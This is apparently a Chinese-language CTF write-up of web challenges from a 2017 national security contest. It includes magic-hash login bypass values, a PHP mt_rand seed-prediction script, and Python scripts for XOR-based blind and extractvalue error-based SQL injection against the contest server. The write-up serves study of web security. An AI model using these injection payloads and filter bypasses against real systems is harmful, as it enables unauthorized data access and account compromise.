第三届全国网络空间安全技术大赛 Web补题 By Assassin(持续更新)
2017-04-20 17:29
776 查看
最近比较忙,可能补题的速度慢一些些~
然后就知道用==弱匹配,构造一个纯数字串和一个纯字母串,让他们的MD5值形如0exxx且0e后面全是纯数字。就构成科学记数法0==0,payload
进去后发现还有一个简单的绕过
我们看到又是==,有一个参考表,大家一看便知~
post的payload构造如下
然后我们在下面可以看到控制转盘的函数,通过chrome中的console调试可以发现这个可以控制转盘的方向等等。而其中的jsctf0 还是jsctf1变量也好都是我们可以更改的。
然后我们理所应当的揭秘那个jother加密后的代码,但是那个玩意儿实在是太大了!大概7000万字节,很难弄,但是我们可以利用chrome浏览器啊!console是一个很强大开发工具!我们可以输入指令。比如说如下!!!猜测flag?
浏览器已经帮你解决好了,但是这一步多少还是蒙的,其实分析刚刚看的代码知道调用功能的关键函数是rotateFunc函数,那我们在console中看一下rotateFunc函数也能得到关键函数getFlag~
得到代码如下
直接一搞就看到了
我们发现下面还是转盘的控制函数嘛,但是上面就是get访问什么东西,构造就行了,首先我们需要到token.php上面拿到token值放到url中(这里token测试过不会变)。那么生成id的值的时候需要一个encode函数,这个是他自己写的,没关系我们再用console查询!
整理后的为
简单的加密格式转换而已,然后最关键的问题来了,rotateFunc函数中的jsctf2变量是转盘中调用到的函数,代码中只有0,1,2,3,而且肯定没答案。我们怎么知道是什么呢?脚本暴力构造!
上面思路理清了代码就不难写了
这个题目还是考察的php魔法,一开始第一反应$pwd==$_GET[‘pwd’]能否构成0==String,但是发现$_GET[]没法实现整除的传参。然后就注意到了伪随机数mt_sand ,只要本机的随机数种子 time() 和服务器一致,就生成完全一样的字符串!
然后后面的$_SESSION[‘userLogin’]==$_GET[login],可以通过删除Cookie的方法构造成NULL==NULL(第一次的时候话没有Session所以为NULL,我们构造userLogin=来构造NULL)
然后写一下代码就好了,这里需要保持本机和服务器的时间同步?不知道服务器什么时间就暴力跑好了~(ps:这个服务器时间实在是不知道,都试试吧~)
flag{rand_afjk_u8nm_uq2n}
然后我们看到login函数中要admin
然后再看show函数功能,我们可以查询admin的role角色,如果正常查的话一定是admin is admin!
然后就是涨姿势的时候了!黑科技用Mysql中的位运算可以构造注入点!看一下本地的实验结果
构造username=0’^1^’1
而且我们通过login函数的查询语句,知道了passwd的位置就在user之下吧!那么我们看一下过滤函数,什么都过滤了,但是!没有过滤ascii、mid、select、from!然后我们可以用()来代替空格
简单讲一下mid这个函数为什么在过滤了逗号时候可以利用,mid函数的参数是 mid(查询变量,start,len) ,但是我们可以这样构造mid(查询变量 from start),也就是说mid可以控制查询变量的起点,而ascii这个函数,当查询的是串的时候后面都会截断! 下面是本地的实验
接下来就是盲注了~懂了构造的原理代码就很简单了
然后我们可以爆出来的passwd答案是
37b1d2f04f594bfffc826fd69e389688
然后不让我们用admin登陆,怎么办呢?utf-8编码问题绕过,超过可见字符就截断了!
flag{e4d93a53bbe9a2f9c419086c16439aa7}
然后明显的感觉就是报错注入吧,这里可以用ExtractValue或者UpdateXml函数的经典报错注入,下面进行一下简单的尝试。发现这两种方法都是可以用的~下面得到当前的数据库为test1
但是我们想要的内容不一定在test1中,还是需要报数据库名,发现还有一个test
然后我们需要爆一下表名,因为表的名字比较多,不妨写个脚本提取。
然后我们发现了端倪,表fl@g
然后我们再爆列名吧~稍微修改就行
然后我们能发现ctf中明显的提示指向…
然后就好办了,查询字段内容即可,但是这里有个坑点!fl@g这个东西在mysql会把@后面的当成变量!所以我们需要加上“符号
事实证明这个要的flag就是不在test1中
那就是在test中喽~
但是真的是答案吗?不是滴,因为ExtractValue或者UpdateXml报错出来的都只有32位的!具体的恐怕还是要用盲注了!
真正答案~flag{99cd1872c9b26525a8e5ec878d230caf}
签到题
首先进入界面发现如下代码然后就知道用==弱匹配,构造一个纯数字串和一个纯字母串,让他们的MD5值形如0exxx且0e后面全是纯数字。就构成科学记数法0==0,payload
Username:QNKCDZO password:240610708
进去后发现还有一个简单的绕过
我们看到又是==,有一个参考表,大家一看便知~
post的payload构造如下
message={"key":0}
抽抽奖
看到这题首先想到转盘模板,应该是js,然后看源代码的时候发现了jQurey.js这个函数有点特别,因为有一段jother加密的代码,而且相当大,没法直接运行。然后我们在下面可以看到控制转盘的函数,通过chrome中的console调试可以发现这个可以控制转盘的方向等等。而其中的jsctf0 还是jsctf1变量也好都是我们可以更改的。
$(_$[0]).rotate({ bind: { click: function() { var jsctf0 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8]; jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)]; console.log(jsctf0); if (jsctf0 == 0x0) { timeOut() } else { var jsctf1 = [0x0]; jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)]; if (jsctf1 == 0x1) { rotateFunc(0x1, 0x9d, _$[1]) } ;if (jsctf1 == 0x2) { rotateFunc(0x2, 0xf7, _$[2]) } ;if (jsctf1 == 0x3) { rotateFunc(0x3, 0x16, _$[3]) } ;if (jsctf1 == 0x0) { var jsctf2 = [0x43, 0x70, 0xca, 0x124, 0x151]; jsctf2 = jsctf2[Math.floor(Math.random() * jsctf2.length)]; rotateFunc(0x0, jsctf2, 0x0) } } } } });
然后我们理所应当的揭秘那个jother加密后的代码,但是那个玩意儿实在是太大了!大概7000万字节,很难弄,但是我们可以利用chrome浏览器啊!console是一个很强大开发工具!我们可以输入指令。比如说如下!!!猜测flag?
浏览器已经帮你解决好了,但是这一步多少还是蒙的,其实分析刚刚看的代码知道调用功能的关键函数是rotateFunc函数,那我们在console中看一下rotateFunc函数也能得到关键函数getFlag~
得到代码如下
直接一搞就看到了
(function() { window.getFlag=function(text){ if(text=='1'){ alert("你最厉害啦!可惜没flag") } if(text=='2'){ alert("你太厉害了,竟然是二等奖") } if(text=='3'){ alert("你好厉害,三等奖啊") } if(text=='flag'){ alert("flag{951c712ac2c3e57053c43d80c0a9e543}") } if(text=='0'){ alert("再来一次吧") } } })
继续抽
首先还是转盘,F12打开源码,发现当前的代码存在,整理后的格式为$(function() { var rotateFunc = function(jsctf0, jsctf1, jsctf2) { $('#lotteryBtn').stopRotate(); $("#lotteryBtn").rotate({ angle: 0x0, duration: 0x1388, animateTo: jsctf1 + 0x5a0, callback: function() { $.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) { alert(jsctf3['text']) }, 'json'); $.get('token.php', function(jsctf3) { $("#token").val(jsctf3) }, 'json') } }) }; $("#lotteryBtn").rotate({ bind: { click: function() { var jsctf0 = [0x0]; jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)]; if (jsctf0 == 0x1) { rotateFunc(0x1, 0x9d, '1') } ;if (jsctf0 == 0x2) { rotateFunc(0x2, 0xf7, '2') } ;if (jsctf0 == 0x3) { rotateFunc(0x3, 0x16, '3') } ;if (jsctf0 == 0x0) { var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151]; jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)]; rotateFunc(0x0, jsctf1, '0') } } } }) })
我们发现下面还是转盘的控制函数嘛,但是上面就是get访问什么东西,构造就行了,首先我们需要到token.php上面拿到token值放到url中(这里token测试过不会变)。那么生成id的值的时候需要一个encode函数,这个是他自己写的,没关系我们再用console查询!
整理后的为
function encode(string) { var output = ''; for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) { charCode = string.charCodeAt(x); if (128 > charCode) { charCode += 128 } else if (127 < charCode) { charCode -= 128 } charCode = 255 - charCode; hexCode = charCode.toString(16); if (2 > hexCode.length) { hexCode = '0' + hexCode } output += hexCode } return output }
简单的加密格式转换而已,然后最关键的问题来了,rotateFunc函数中的jsctf2变量是转盘中调用到的函数,代码中只有0,1,2,3,而且肯定没答案。我们怎么知道是什么呢?脚本暴力构造!
上面思路理清了代码就不难写了
# -- coding:utf-8 -- import requests import pyquery import hashlib cookies={'PHPSESSID':'3k2rd4536me3rjsojf473vctd7'} def encode(string): key="" for i in string: if ord(i)<128: temp=ord(i)+128 elif ord(i)>127: temp=ord(i)-128 hexcode=255-temp hexvalue="" if len(hex(hexcode)[2:])==0: hexvalue+="0" hexvalue+=hex(hexcode)[2:] key+=hexvalue return key s=requests.Session() for num in range(256): url='http://117.34.111.15:81/' token = s.get(url+"token.php",cookies=cookies).text[1:-1] #print token have_encode=encode(hashlib.md5(str(num)).hexdigest()) #print str(have_encode) makeurl=url+"get.php?token="+str(token)+"&id="+str(have_encode) #print makeurl html=s.get(makeurl,cookies=cookies).text if 'flag' in html: print html
Wrong
找到这个 .index.php.swp 通过恢复文件 vim -r index.php 得到下面源码<?php error_reporting(0); function create_password($pw_length=10){ $randpwd=""; for($i=0;$i<$pw_length;$i++){ $randpwd.=chr(mt_rand(33,126)); } return $randpwd; } session_start(); mt_srand(time()); $pwd=create_password(); if($pwd==$_GET['pwd']){ if($_SESSION['userLogin'==$_GET[login]]){ echo "Good job, you get the key"; } else { echo "Wrong!"; } } $_SESSION['userLogin']=create_password(32).rand(); ?>
这个题目还是考察的php魔法,一开始第一反应$pwd==$_GET[‘pwd’]能否构成0==String,但是发现$_GET[]没法实现整除的传参。然后就注意到了伪随机数mt_sand ,只要本机的随机数种子 time() 和服务器一致,就生成完全一样的字符串!
然后后面的$_SESSION[‘userLogin’]==$_GET[login],可以通过删除Cookie的方法构造成NULL==NULL(第一次的时候话没有Session所以为NULL,我们构造userLogin=来构造NULL)
然后写一下代码就好了,这里需要保持本机和服务器的时间同步?不知道服务器什么时间就暴力跑好了~(ps:这个服务器时间实在是不知道,都试试吧~)
#我过了的代码如下: <?php require_once '/include/Requests-1.7.0/library/Requests.php'; Requests::register_autoloader(); $url = 'http://117.34.111.15:85/index.php'; function create_password($pw_length = 10){ $randpwd = ""; for ($i = 0; $i < $pw_length; $i++){ $randpwd .= chr(mt_rand(33,126)); } return $randpwd; } $headers = array('Cookie' =>""); for($i=-100;$i<=0;$i++){ mt_srand(time()+$i); $pwd = create_password(); $rep = Requests::get($url."?login=&pwd=$pwd"); $content = $rep->body; $pos = strpos($content, "Good job"); if($pos!==false){ echo $content; } } ?>
flag{rand_afjk_u8nm_uq2n}
so easy!
首先开头我们得到了源码。我们看到主要有三个功能然后我们看到login函数中要admin
然后再看show函数功能,我们可以查询admin的role角色,如果正常查的话一定是admin is admin!
然后就是涨姿势的时候了!黑科技用Mysql中的位运算可以构造注入点!看一下本地的实验结果
构造username=0’^1^’1
而且我们通过login函数的查询语句,知道了passwd的位置就在user之下吧!那么我们看一下过滤函数,什么都过滤了,但是!没有过滤ascii、mid、select、from!然后我们可以用()来代替空格
简单讲一下mid这个函数为什么在过滤了逗号时候可以利用,mid函数的参数是 mid(查询变量,start,len) ,但是我们可以这样构造mid(查询变量 from start),也就是说mid可以控制查询变量的起点,而ascii这个函数,当查询的是串的时候后面都会截断! 下面是本地的实验
接下来就是盲注了~懂了构造的原理代码就很简单了
# -- coding:utf-8 -- import requests url='http://117.34.111.15:89/?action=show' s=requests.Session() passwd='' for l in range(1,32): for c in range(1,133): username="0'^(ascii(mid((select(passwd)from(user)where(username='admin'))from(%d)))=%d)^'1"%(l,c) data={'username':username,'passwd':123} html=s.post(url,data=data).text if 'admin' in html: passwd+=chr(c) print passwd break
然后我们可以爆出来的passwd答案是
37b1d2f04f594bfffc826fd69e389688
然后不让我们用admin登陆,怎么办呢?utf-8编码问题绕过,超过可见字符就截断了!
flag{e4d93a53bbe9a2f9c419086c16439aa7}
just a test
不得不说自己的水平还是太低了,一开始实验的时候连注入点都找不到,本来以为是在什么地方存在什么,后面发现了注入点不是别的地方!正是我们的url路径上!没想到查询每一个页面的时候用的就是mysql的语句,的确是学习了。然后明显的感觉就是报错注入吧,这里可以用ExtractValue或者UpdateXml函数的经典报错注入,下面进行一下简单的尝试。发现这两种方法都是可以用的~下面得到当前的数据库为test1
但是我们想要的内容不一定在test1中,还是需要报数据库名,发现还有一个test
然后我们需要爆一下表名,因为表的名字比较多,不妨写个脚本提取。
# -*- coding:utf-8 -*- import requests import time import re s=requests.Session() for i in range(1,100): url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit %d,1))) and '1'='1"%i html=s.get(url).text content=re.findall(r'\'(.*?)\'',html,re.S) print content[0][1:]
然后我们发现了端倪,表fl@g
然后我们再爆列名吧~稍微修改就行
# -*- coding:utf-8 -*- import requests import time import re s=requests.Session() for i in range(1,1000): url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns limit %d,1))) and '1'='1"%i html=s.get(url).text content=re.findall(r'\'(.*?)\'',html,re.S) print content[0][1:]
然后我们能发现ctf中明显的提示指向…
然后就好办了,查询字段内容即可,但是这里有个坑点!fl@g这个东西在mysql会把@后面的当成变量!所以我们需要加上“符号
事实证明这个要的flag就是不在test1中
那就是在test中喽~
但是真的是答案吗?不是滴,因为ExtractValue或者UpdateXml报错出来的都只有32位的!具体的恐怕还是要用盲注了!
# -*- coding:utf-8 -*- import requests s=requests.Session() flag='flag{99cd1872c9b26525a8e5ec878d' for i in range(32,50): end=0 for j in range(32,127): url="http://117.34.111.15:83/' and ascii(mid((select f1ag from test.`fl@g` limit 0,1),%d,1))=%d and '1'='1"%(i,j) html=s.get(url).text print chr(j) if "404 - Page Not Found" not in html: end=1 flag+=chr(j) print flag break if end==0: break
真正答案~flag{99cd1872c9b26525a8e5ec878d230caf}
相关文章推荐
- 2017陕西省网络空间安全技术大赛_Crypto_crypt1_Writeup
- 第三届上海大学生网络安全大赛小部分题解 By Assassin
- 陕西网络空间安全技术大赛pwn_box writeup
- 第二届360杯全国大学生信息安全技术大赛部分解题思路(网络与协议)
- 第二届360杯全国大学生信息安全技术大赛部分解题思路(网络与协议)
- 陕西省网络空间安全技术大赛部分题目writeup
- 陕西省第三届网络空间技术大赛心得
- web 开发中的各种页面的提交请求数据方法汇总(持续更新,内容收集来自各网络)
- 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践
- web应用下的安全问题以及tomcat/nginx对应解决方法(持续更新、亲测可解决问题)
- [置顶] CTF--2016XDCTF全国网络安全大赛之reverse5
- 第二届360杯全国大学生信息安全技术大赛部分解题思路(逆向分析)
- 2017年全国职业技能大赛“网络信息安全与评估”
- 第二届360杯全国大学生信息安全技术大赛部分解题思路(逆向分析)
- 第二届360杯全国大学生信息安全技术大赛部分解题思路(加密解密题)
- 推荐我们站点一些有价值的网络安全维护及服务器安全维护技术的资料,望大家多多支持本站(02/22更新
- 第二届360杯全国大学生信息安全技术大赛部分解题思路(数字取证)
- [置顶] CTF--2016XDCTF全国网络安全大赛之reverse2
- 网络安全 行话 术语(持续更新中....)
- 记第七届全国大学生信息安全技术大赛暨四川省大学生信息安全竞赛